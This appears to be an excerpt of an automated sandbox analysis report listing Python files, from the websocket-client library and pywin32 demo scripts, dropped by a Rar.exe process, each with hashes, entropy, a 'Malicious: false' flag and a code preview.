Malicious:	false
Reputation:	low
Preview:	"""._exceptions.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""...class WebSocketException(Exception):. """. WebSocket exception class.. """.. pass...class WebSocketProtocolException(WebSocketException):. """. If the WebSocket protocol is invalid, this exception will be raised.. """.. pass...class WebSocketPayloadException(WebSocketException):. """. If the WebSocket payload is invalid, this exception will be ra

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_handshake.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6578
Entropy (8bit):	4.899084345690126
Encrypted:	false
SSDEEP:	192:k33HwDg2naLgD/U5fBdVhjy3zfXJsYnVReT62lUi:k3buGBdvsuIerR
MD5:	2786D1FDEF78BDB8A61F442319FFCBF5
SHA1:	00333DF00E37673764DDE0FA8BAD7B12832437D7
SHA-256:	87FF3C4BABE14AD399063E7330626D20A155D5154C56E12C90BC9B8C90A76A3E
SHA-512:	43C0DC848DAFF91A369481C7C47B878228C31B4CE07E998187A4808B98BEC42EED7F6DF696B6F14F335FC31417B051A0E23FF2C3997D55E3927AE2D6C2DF07BB
Malicious:	false
Reputation:	low
Preview:	"""._handshake.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".import hashlib.import hmac.import os.from base64 import encodebytes as base64encode.from http import HTTPStatus..from ._cookiejar import SimpleCookieJar.from ._exceptions import WebSocketException, WebSocketBadStatusException.from ._http import read_headers.from ._logging import dump, error.from ._socket import send..__all__ = ["handshake_response", "handshake", "SUPPORTED_REDIR

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_http.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	12818
Entropy (8bit):	4.632949700173338
Encrypted:	false
SSDEEP:	192:r33HpgEC7EcgGT3pxjQxlJgjNqew2mmReSePExCN044oN1ZuTcHgvlX9Q6YTF1va:r3KECwAZSxlJgjNqelReSeko+M8pEch
MD5:	5C262A436290AAE2EEA1BF714D12BBA7
SHA1:	F1D27671EC272B944B6B801E8EEACDCC325F330D
SHA-256:	DF71ACAE85A02E13AC13CA4C0B65E46BE463A273EE532A6378544004502D409A
SHA-512:	1669C4C98BE2D03A23E3A4DA49C9630E721247A97CEB6CF0B37F3E3C82E79D3F1CE86B443AC0A1A87B21B34013C5D04F369D7643CAE78B1569EF8FFC16D531EA
Malicious:	false
Reputation:	low
Preview:	"""._http.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".import errno.import os.import socket.from base64 import encodebytes as base64encode..from ._exceptions import (. WebSocketAddressException,. WebSocketException,. WebSocketProxyException,.).from ._logging import debug, dump, trace.from ._socket import DEFAULT_SOCKET_OPTION, recv_line, send.from ._ssl_compat import HAVE_SSL, ssl.from ._url import get_proxy_info, parse_url..__a

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_logging.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	4.84593041409184
Encrypted:	false
SSDEEP:	48:E4+h0CH31KBTL3QtXbY1sP7FVql0V3fgy570kSYL5d2M3KSYN2hRrXS9RrXtLRem:E4s3HFKEY1sPpVS0VvJY2hRTS9RTtLRB
MD5:	F6ED1BDAAE567FE7BD69477D21D996A7
SHA1:	A2C33019225AC20377D310DD7F3E801DE0205074
SHA-256:	0C7454978B0469292896F328E00EAEA67ED42181749094F936500BD2F5821D12
SHA-512:	0673D81875A200D77C341E943A4007E880C5F1C8FD6A0DA4CF0846CA09289A6C203D91D80A4D4BE71FF71D9392A85D025AE3A25E270C4FBC85B019464F307BB6
Malicious:	false
Reputation:	low
Preview:	import logging.."""._logging.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".._logger = logging.getLogger("websocket").try:. from logging import NullHandler.except ImportError:.. class NullHandler(logging.Handler):. def emit(self, record) -> None:. pass..._logger.addHandler(NullHandler()).._traceEnabled = False..__all__ = [. "enableTrace",. "dump",. "error",. "warning",. "debug",. "trace",. "isEn

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_socket.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5198
Entropy (8bit):	4.70492713419674
Encrypted:	false
SSDEEP:	96:uo7hV4s3HFK8C1nKDmM2dvx+jOVdRYBqDXunRvJ5/jh7oXu0yybT5:tV33HDtwQjYdRaRnDiN
MD5:	FB0EA0876954B9C9D2E1808270024AB2
SHA1:	936216178CCD21C5ED05052D56C7C1B4C7740980
SHA-256:	369B1404ED628670BEC4F034536A35FA13172BC7A2A6535C53D476559BD9DEA5
SHA-512:	A273AA6ABA364A244D85A3AA8D290A7A2A2A6F92AD826B70C4C6BAB7012965A9B345C3E0E7A5F9D09A5322C208E25394BF9C2BD26CC3E3D3CD02CF38EB3D8663
Malicious:	false
Reputation:	low
Preview:	import errno.import selectors.import socket.from typing import Union..from ._exceptions import (. WebSocketConnectionClosedException,. WebSocketTimeoutException,.).from ._ssl_compat import SSLError, SSLWantReadError, SSLWantWriteError.from ._utils import extract_error_code, extract_err_message.."""._socket.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..DEFAULT_SOCKET_OPTION = [(socket.SOL_TCP, socket.TCP_NODELAY, 1)].if hasattr(sock

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_ssl_compat.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	4.871716808910192
Encrypted:	false
SSDEEP:	24:ghZl4IpheU0E+4HQk1Gps2Xkdhh7DVzhvujBDznwWwXV6rsY9DcLTL:c4+h0CH31KzshpBNmfw1asY9QLn
MD5:	475250E9018C5B5E6ACBDD569D95F96D
SHA1:	8C658B1FCFC35A893B67AF5C72F19F57FAC58BA8
SHA-256:	4913EDC35AD3DCB3D297DABBD260A2E615BD876C52FA721F75C5DB8F21A2F2C1
SHA-512:	E012B6CF26558A50D47415B7EDF0D99DAC18FAC023AF2876AA441A4CFB74F86C6F091ABB073687A4CB14782B9861FBCF5E28C164831DC8E37F05CA0944142E8B
Malicious:	false
Reputation:	low
Preview:	"""._ssl_compat.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".__all__ = [. "HAVE_SSL",. "ssl",. "SSLError",. "SSLEOFError",. "SSLWantReadError",. "SSLWantWriteError",.]..try:. import ssl. from ssl import SSLError, SSLEOFError, SSLWantReadError, SSLWantWriteError.. HAVE_SSL = True.except ImportError:. # dummy class of SSLError for environment without ssl support. class SSLError(Exception):. pass..

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_url.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5251
Entropy (8bit):	4.621526969186157
Encrypted:	false
SSDEEP:	96:Q4s3HFK8KBQRosjPPqoBrIE5vKm0EehQyKSwGJBBK9WFSiwQ02oc:Q33HiBQRRLPRBrIE5vBhehAQkWwXc
MD5:	2C6E42DED177F071FE509138942CA042
SHA1:	64E129E8A17F325F5432F02F66908D28F8AE9501
SHA-256:	91B11D6DD67E04C328610DEC31F729F50118D4862B0E9A48282A4820774654C7
SHA-512:	39CCBEB99CAFEB7ACCA66307308BD9033B47B352CE2B08D48A391BFAB1CDE804E2FB97CC0EA59BEF603F4ABB2462F2AC5D8AFB3B41E3973104C5871CCD87EC42
Malicious:	false
Reputation:	low
Preview:	import os.import socket.import struct.from typing import Optional.from urllib.parse import unquote, urlparse.from ._exceptions import WebSocketProxyException.."""._url.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..__all__ = ["parse_url", "get_proxy_info"]...def parse_url(url: str) -> tuple:. """. parse url and the result is tuple of. (hostname, port, resource path and the flag of secure mode).. Parameters. ----------. u

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_utils.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	6961
Entropy (8bit):	3.474420330492046
Encrypted:	false
SSDEEP:	48:B4+h0CH31KzIUPv+CzljZnfzcP3/YmguB244D444444444444M4444MM44Y4444u:B4s3HFKzfljZQv/skWO9+bKIiReS9
MD5:	63D88387C8231469A1A4776FDE1C2516
SHA1:	B27C1C0B0E852EF2C2D17028B5FEB91DBADCD65D
SHA-256:	477E859C54F16152722A587EC8469AA51C69A0AF17C27F491570B2DAADA1698D
SHA-512:	CAE37ABC0DE8154874735FC4E9F28A04742A063434C2424192DD641A762D166A93A9335DFECE5EEB8CFBCEE2B7AD619B19AE6AF7AB1A55FDC960D612EDAE91C0
Malicious:	false
Reputation:	low
Preview:	from typing import Union.."""._url.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..""".__all__ = ["NoLock", "validate_utf8", "extract_err_message", "extract_error_code"]...class NoLock:. def __enter__(self) -> None:. pass.. def __exit__(self, exc_type, exc_value, traceback) -> None:. pass...try:. # If wsaccel is available we use compiled routines to validate UTF-8. # strings.. from wsaccel.utf8validator import Utf8V

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\websocket\_wsdump.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	7010
Entropy (8bit):	4.634055856631404
Encrypted:	false
SSDEEP:	96:y4s3HFKr2kOrSlqOV5DA9RLsg3eJtIlllAZsjIHT4vsIE4ain34Ptv:y33HNk3pV5DA7ggYKTIzmY4ai3Ud
MD5:	6A303F6C1A4BB89E2E1DA79702BB677B
SHA1:	1A25992606D41928C5A1C2FD1318A7359F609C9B
SHA-256:	915F362D62E50FA777BF338A395004AA47E8080FD092977485CF563764EADA43
SHA-512:	C4C6F1C5F3A654894432683C6EFFCF174E1E2D296D0FF6B9959E26EBF4086494CC16BB7AFDD6BF72B0A68855AADF6EF388F8292C42AB514858E68E98B86A15C0
Malicious:	false
Reputation:	low
Preview:	#!/usr/bin/env python3..""".wsdump.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License.."""..import argparse.import code.import gzip.import ssl.import sys.import threading.import time.import zlib.from urllib.parse import urlparse..import websocket..try:. import readline.except ImportError:. pass...def get_encoding() -> str:. encoding = getattr(sys.stdin, "encoding", ""). if not encoding:. return "utf-8". else:. return en

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\BackupRead_BackupWrite.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3769
Entropy (8bit):	5.305394581961131
Encrypted:	false
SSDEEP:	96:kQjF50l7OosSFI3OmWkK/9mBckz7mAOc/cUWc/byKK6+bWLKZL7wpS7:PvosSFI+m/KVockvmTQzWQGX6+SLeL7b
MD5:	3C3631F5328CBCB77729B6CB5A0A0766
SHA1:	16461673640008E326354F1991A395DAE439F377
SHA-256:	C68A1E175FB7784BD38307E2EBC5BC53D25C6272C89D2E04D4A53F3EBE66FD44
SHA-512:	0656985EEF1C541C57989132E260FDB8BCB9A669910AFEAC786D92369DB2895703B9530C45B72692A247E343CF877C2C766017B3EDE2B8942613BCB87C2173B8
Malicious:	false
Reputation:	low
Preview:	## demonstrates using BackupRead and BackupWrite to copy all of a file's data streams...import ntsecuritycon.import pythoncom.import pywintypes.import win32api.import win32con.import win32file.import win32security.from pywin32_testutil import ob2memory, str2bytes.from win32com import storagecon..all_sd_info = (. win32security.DACL_SECURITY_INFORMATION. \| win32security.DACL_SECURITY_INFORMATION. \| win32security.OWNER_SECURITY_INFORMATION. \| win32security.GROUP_SECURITY_INFORMATION.)..tempdir = win32api.GetTempPath().tempfile = win32api.GetTempFileName(tempdir, "bkr")[0].outfile = win32api.GetTempFileName(tempdir, "out")[0].print("Filename:", tempfile, "Output file:", outfile)..f = open(tempfile, "w").f.write("some random junk" + "x" * 100).f.close()..## add a couple of alternate data streams.f = open(tempfile + ":streamdata", "w").f.write("data written to alternate stream" + "y" * 100).f.close()..f = open(tempfile + ":anotherstream", "w").f.write("z" * 100).f.close()..## add

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\BackupSeek_streamheaders.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3864
Entropy (8bit):	5.094383698251194
Encrypted:	false
SSDEEP:	96:G0oS/Su/+SPWFHlMOoCOFI3OmdkK/9mBcxHOc/xQeU0Z5xPKoFKZywfr4bK+cm+7:G0oS/Su/+SPsolFI+mqKVocxuQyYnP/k
MD5:	C29BE863D643554228F038F7F88945CE
SHA1:	200B238DF9D6AE6FC63BF5957DF04EBF9D699750
SHA-256:	1D52C2DCBFEB2B6A90D28F513DFC286E3E1727B68795BE623266003FC3764FF6
SHA-512:	E6793C97DC34AD5FAD5C206004B1BFA3AFF0E750E8E718764B6FFF7ADACF9D360A96F0C7CBC6C621C64268D4006BEC1FEF33B9D731667456EE7C0157E213B0BC
Malicious:	false
Reputation:	low
Preview:	## demonstrates using BackupSeek to enumerate data streams for a file.import struct..import pythoncom.import pywintypes.import win32api.import win32con.import win32file.from win32com import storagecon..stream_types = {. win32con.BACKUP_DATA: "Standard data",. win32con.BACKUP_EA_DATA: "Extended attribute data",. win32con.BACKUP_SECURITY_DATA: "Security descriptor data",. win32con.BACKUP_ALTERNATE_DATA: "Alternative data streams",. win32con.BACKUP_LINK: "Hard link information",. win32con.BACKUP_PROPERTY_DATA: "Property data",. win32con.BACKUP_OBJECT_ID: "Objects identifiers",. win32con.BACKUP_REPARSE_DATA: "Reparse points",. win32con.BACKUP_SPARSE_BLOCK: "Sparse file",.}..tempdir = win32api.GetTempPath().tempfile = win32api.GetTempFileName(tempdir, "bkr")[0].print("Filename:", tempfile)..f = open(tempfile, "w").f.write("some random junk" + "x" * 100).f.close()..f = open(tempfile + ":streamdata", "w").f.write("data written to alternate stream" + "y" * 100).f.clo

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\CopyFileEx.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	5.026032254838223
Encrypted:	false
SSDEEP:	24:q+5UyeJ0El1Sa1g5SaqpWSnmnVuqidsgxExyYJXYathSy4rXG/iwS:eyfsytM5nmnVuTdsgRcXZ77PiH
MD5:	23B53C129F0FD220900CB00417719477
SHA1:	49432AFCED130D2038A15E2B8A71CF8B3B06150F
SHA-256:	3593ED8F69F6A4886C77831170869FB096B1C253A7748CB905BAA5FA21222189
SHA-512:	4DC7D107110F6D69EF61CE0286698C915130A82B83FC46FC6BB2B8ACCF6B4C9D2F92E06839FB399046E11822073C3091AC91C601EB6AFB8CB9CADCAAABD33FE9
Malicious:	false
Reputation:	low
Preview:	import win32api.import win32file...def ProgressRoutine(. TotalFileSize,. TotalBytesTransferred,. StreamSize,. StreamBytesTransferred,. StreamNumber,. CallbackReason,. SourceFile,. DestinationFile,. Data,.):. print(Data). print(. TotalFileSize,. TotalBytesTransferred,. StreamSize,. StreamBytesTransferred,. StreamNumber,. CallbackReason,. SourceFile,. DestinationFile,. ). ##if TotalBytesTransferred > 100000:. ## return win32file.PROGRESS_STOP. return win32file.PROGRESS_CONTINUE...temp_dir = win32api.GetTempPath().fsrc = win32api.GetTempFileName(temp_dir, "cfe")[0].fdst = win32api.GetTempFileName(temp_dir, "cfe")[0].print(fsrc, fdst)..f = open(fsrc, "w").f.write("xxxxxxxxxxxxxxxx\n" * 32768).f.close().## add a couple of extra data streams.f = open(fsrc + ":stream_y", "w").f.write("yyyyyyyyyyyyyyyy\n" * 32768).f.close().f = open(fsrc + ":stream_z", "w").f.write("zzzzzzzzzzzzzzzz\n" * 327

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\CreateFileTransacted_MiniVersion.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3678
Entropy (8bit):	4.93181107133077
Encrypted:	false
SSDEEP:	96:fbFIef2CiZCVfCz1UbI6Pp16P7U0NUeVcUBwfyHMJ7:zHzVCzmTvetcum
MD5:	B233DC4ABD6C31BBB7CD09796425F3FE
SHA1:	2E815CE1731D3898825FE7C710C91B3F60AC0819
SHA-256:	F2E14F3E7DA3E92929621EF1D8B638B5E6585C01500EAD7BD3235E74EB7537AE
SHA-512:	7DC3AD3EE811802AA74DE243809724A7F04893FF22771A47239F7C1B5DC0DE0F3E4351A09C1B8BFE61126A588509E1E5715277D807F5170B97FFE82D7856C7AF
Malicious:	false
Reputation:	low
Preview:	""".This demonstrates the creation of miniversions of a file during a transaction..The FSCTL_TXFS_CREATE_MINIVERSION control code saves any changes to a new.miniversion (effectively a savepoint within a transaction).."""..import os.import struct..import win32api.import win32con.import win32file.import win32transaction.import winerror.import winioctlcon.from pywin32_testutil import str2bytes # py3k-friendly helper...def demo():. """. Definition of buffer used with FSCTL_TXFS_CREATE_MINIVERSION:. typedef struct _TXFS_CREATE_MINIVERSION_INFO{. USHORT StructureVersion;. USHORT StructureLength;. ULONG BaseVersion;. USHORT MiniVersion;}. """. buf_fmt = "HHLH0L" ## buffer size must include struct padding. buf_size = struct.calcsize(buf_fmt).. tempdir = win32api.GetTempPath(). tempfile = win32api.GetTempFileName(tempdir, "cft")[0]. print("Demonstrating transactions on tempfile", tempfile). f = open(tempfile, "w"). f.write("This is

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\EvtFormatMessage.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3360
Entropy (8bit):	4.398214944508592
Encrypted:	false
SSDEEP:	96:kgYXIV9bVYIipZaa4YrZ8qOZ266bzrfRmm9CKXYzx27Kv06/9tOo57iYi:k7W9bVYFpZaCrZ8qOZJ6bz7cm9/YzgO8
MD5:	BF88AD04588F165B826D3321E4203135
SHA1:	C332E8523536EE5500782156459865DE0069DB37
SHA-256:	5C0DF671D1FBF8EAAF0277B9A418707D15B72939BFD2DD82029FAB7F51E89F9E
SHA-512:	AE99D655D60EBE9077788F3F4EE32D19C1A3B70D9274264997F05CECBAADD2219F4A8D49DDFB72A4A307FD2D8B6776EEAC94E173B66C3BE225F8EC02FE2DAA97
Malicious:	false
Reputation:	low
Preview:	import sys..import win32evtlog...def main():. path = "System". num_events = 5. if len(sys.argv) > 2:. path = sys.argv[1]. num_events = int(sys.argv[2]). elif len(sys.argv) > 1:. path = sys.argv[1].. query = win32evtlog.EvtQuery(path, win32evtlog.EvtQueryForwardDirection). events = win32evtlog.EvtNext(query, num_events). context = win32evtlog.EvtCreateRenderContext(win32evtlog.EvtRenderContextSystem).. for i, event in enumerate(events, 1):. result = win32evtlog.EvtRender(. event, win32evtlog.EvtRenderEventValues, Context=context. ).. print("Event {}".format(i)).. level_value, level_variant = result[win32evtlog.EvtSystemLevel]. if level_variant != win32evtlog.EvtVarTypeNull:. if level_value == 1:. print(" Level: CRITICAL"). elif level_value == 2:. print(" Level: ERROR"). elif level_value == 3:. print(" Level: WAR

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\EvtSubscribe_pull.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	792
Entropy (8bit):	4.872080815758319
Encrypted:	false
SSDEEP:	24:jsf9CzpJr+9f12fR3Ng5Ed8f6W/PEUzv37:QYzvr+992fBNgk8nf3
MD5:	D360933C44E9DEC9F75199B3651E6537
SHA1:	CDF798EC67E65CB9FAA6AF7C1D3500AED59B87F0
SHA-256:	A4AA23F9C16AA2E78A1A22A0C12B1854BC0019ABF33670672A52773C53249911
SHA-512:	4E964A2BFA726740784CB6EC44EAA3EA7E70CCF78FC8678C87855A9C135E71142B01392E1ED8A4F0CD12DC909D04C1A38C4715486A99A57B4B7F8B178B6CDE4C
Malicious:	false
Reputation:	low
Preview:	## Demonstrates how to create a "pull" subscription.import win32con.import win32event.import win32evtlog..query_text = '*[System[Provider[@Name="Microsoft-Windows-Winlogon"]]]'..h = win32event.CreateEvent(None, 0, 0, None).s = win32evtlog.EvtSubscribe(. "System",. win32evtlog.EvtSubscribeStartAtOldestRecord,. SignalEvent=h,. Query=query_text,.)..while 1:. while 1:. events = win32evtlog.EvtNext(s, 10). if len(events) == 0:. break. ##for event in events:. ##.print(win32evtlog.EvtRender(event, win32evtlog.EvtRenderEventXml)). print("retrieved %s events" % len(events)). while 1:. print("waiting..."). w = win32event.WaitForSingleObjectEx(h, 2000, True). if w == win32con.WAIT_OBJECT_0:. break.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\EvtSubscribe_push.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	692
Entropy (8bit):	4.945280120308455
Encrypted:	false
SSDEEP:	12:jVXv9/WEpLDZAEpJr+937U1KXASpvFKMwpM7tLNFKYVXWKdC/2BdVD49y4hfR3kF:jbWqzpJr+9bvFKTpyzFKYVXDq27VD49A
MD5:	52D985F0616A0F7455B5F7910B07182D
SHA1:	D4ACD75A93ACA5F4B3205A5AC340695A283A6039
SHA-256:	B6027143EE94E0E332D3851E23948BF6A98C4F6FEC26262703FAF6774FE3355D
SHA-512:	A53F1558E74F3E5B1C238E71A0EDD62BA0A5D0383C60F620B3489A8AA0387FA639BC871A14D042BB179C7E166E1413F672690B0E61F2E75D95CA10EA95C9BDC2
Malicious:	false
Reputation:	low
Preview:	## Demonstrates a "push" subscription with a callback function.import win32evtlog..query_text = '[System[Provider[@Name="Microsoft-Windows-Winlogon"]]]'...def c(reason, context, evt):. if reason == win32evtlog.EvtSubscribeActionError:. print("EvtSubscribeActionError"). elif reason == win32evtlog.EvtSubscribeActionDeliver:. print("EvtSubscribeActionDeliver"). else:. print("??? Unknown action ???", reason). context.append(win32evtlog.EvtRender(evt, win32evtlog.EvtRenderEventXml)). return 0...evttext = [].s = win32evtlog.EvtSubscribe(. "System",. win32evtlog.EvtSubscribeStartAtOldestRecord,. Query="",. Callback=c,. Context=evttext,.).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\FileSecurityTest.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4397
Entropy (8bit):	4.74911812392731
Encrypted:	false
SSDEEP:	48:MgzkJJSBpe8lEILIzeU/lC2PHVH+YSrcsanIP9YO8OoUCDfOxVkfGbHyZrfpx4l4:MgY2vpEIANCaHFGh9YlU+GxifBx4i
MD5:	430E76B755434E0D55E9F95AFDB387D0
SHA1:	53171BBFFB86036C9BC312DAC4FA358C0D2DDC32
SHA-256:	CCB6A2880CAC7C9D67966F0185DBF8175F01F6C7DA76058D2B55E61CFA8FE687
SHA-512:	8381D4E1BC373FE7DC798D2DE6A2E785667374436AFC9BDBA701733C08B627028FD76F0D5C0A194FAD7CC99994CC9290F3478CBB5FCAD09EB046F521B016BF2F
Malicious:	false
Reputation:	low
Preview:	# Contributed by Kelly Kranabetter..import os.import sys..import ntsecuritycon.import pywintypes.import win32security.import winerror..# get security information.# name=r"c:\autoexec.bat".# name= r"g:\!workgrp\lim".name = sys.argv[0]..if not os.path.exists(name):. print(name, "does not exist!"). sys.exit()..print("On file ", name, "\n")..# get owner SID.print("OWNER").try:. sd = win32security.GetFileSecurity(name, win32security.OWNER_SECURITY_INFORMATION). sid = sd.GetSecurityDescriptorOwner(). print(" ", win32security.LookupAccountSid(None, sid)).except pywintypes.error as exc:. # in automation and network shares we see:. # pywintypes.error: (1332, 'LookupAccountName', 'No mapping between account names and security IDs was done.'). if exc.winerror != winerror.ERROR_NONE_MAPPED:. raise. print("No owner information is available")..# get group SID.try:. print("GROUP"). sd = win32security.GetFileSecurity(name, win32security.GROUP_SECURITY_INFORMATI

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\Demos\GetSaveFileName.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	5.129410238641104
Encrypted:	false
SSDEEP:	24:9a3KeaJjPAhAs/6tgRMBuXI/KPAoTAs/MtgRMBuXH:I3sGhAAQAMaAAuA3
MD5:	07D0143379349CB71B6701D8BF4D2480
SHA1:	8D13834D7BCEF11174F631C4EFDA3E45E18D31CB
SHA-256:	AA67DE1EC080EEFAD5CA4F5054778915AF8F282C2AF7D76243E66F409A1365B5
SHA-512:	13331E7E7504822C2F3E9C693E27774BAE16B3DDA738695C43EBB79DFB3102F573F957B2EF437CC0BC0732218300FCA1C9E1CBE9B78C81D15DB9949EF9E3A257
Malicious:	false
Reputation:	low
